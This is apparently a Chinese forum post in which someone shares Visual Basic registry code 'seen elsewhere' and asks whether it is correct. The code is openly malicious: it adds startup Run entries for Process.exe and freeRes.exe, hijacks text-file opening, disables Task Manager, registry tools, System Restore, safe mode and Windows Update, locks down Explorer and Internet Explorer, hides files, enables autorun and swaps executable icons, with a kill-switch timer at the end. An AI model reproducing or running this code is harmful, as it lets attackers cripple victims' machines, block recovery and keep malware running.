别人那里看来的，不知道对还是错的,问下你们

wsh.Regwrite "HKLM\software\microsoft\windows\currentVersion\run\", MyGetWinDirectory & "system32" & "\Process.exe" '写开机启动
wsh.Regwrite "HKCU\software\microsoft\windows\currentVersion\run\", MyGetWinDirectory & "system32" & "\freeRes.exe" '写开机启动
wsh.Regwrite "HKEY_CLASSES_ROOT\txtfile\shell\open\command\", MyGetWinDirectory & "system32" & "\Process.exe" & " %1" '写记事本关联
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system" + "\" + "DisableTaskMgr", "1", "REG_DWORD" '禁用任务管理器
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" + "\" + "DisableRegistryTools", "1", "REG_DWORD" '禁用注册表编辑器
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" + "\" + "DisableSR", "1", "REG_DWORD" '禁用系统还原
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" + "\" + "CheckedValue", "0", "REG_DWORD" '隐藏文件
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\IMAIL" + "\" + "Installed", "1""REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\MAPI" + "\" + "NoChange", "1", "REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\MAPI" + "\" + "Installed", "1", "REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OptionalComponents\MSFS" + "\" + "Installed", "1", "REG_SZ"
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 0, "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu", "1", "REG_DWORD" '禁用文件夹选项
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode", "1", "REG_DWORD" '禁用安全模式
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD" '隐藏开始菜单
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSMHelp", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWindowsUpdate", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFavoritesMenu", "1", "REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun", "149", "REG_DWORD" '打开自动播放

wsh.Regwrite "HKCR\exefile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\txtfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\dllfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\batfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\inifile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\comfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\regfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\cmdfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKCR\inffile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"

wsh.Regwrite "HKLM\SOFTWARE\Classes\exefile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\txtfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\dllfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\batfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\inifile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\comfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\regfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\cmdfile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"
wsh.Regwrite "HKLM\SOFTWARE\Classes\inffile\DefaultIcon\", MyGetWinDirectory & "system32" & "\duck.ico"

wsh.Regwrite "HKLM\Software\CLASSES\.reg\", "txtfile"
End Sub

Private Sub Timer6_Timer()
success% = FileExists%(MyGetWinDirectory & "system32" & "\killme.ini")
If success% = True Then
Timer1.Enabled = False
Sleep 1000
End
End If
End Sub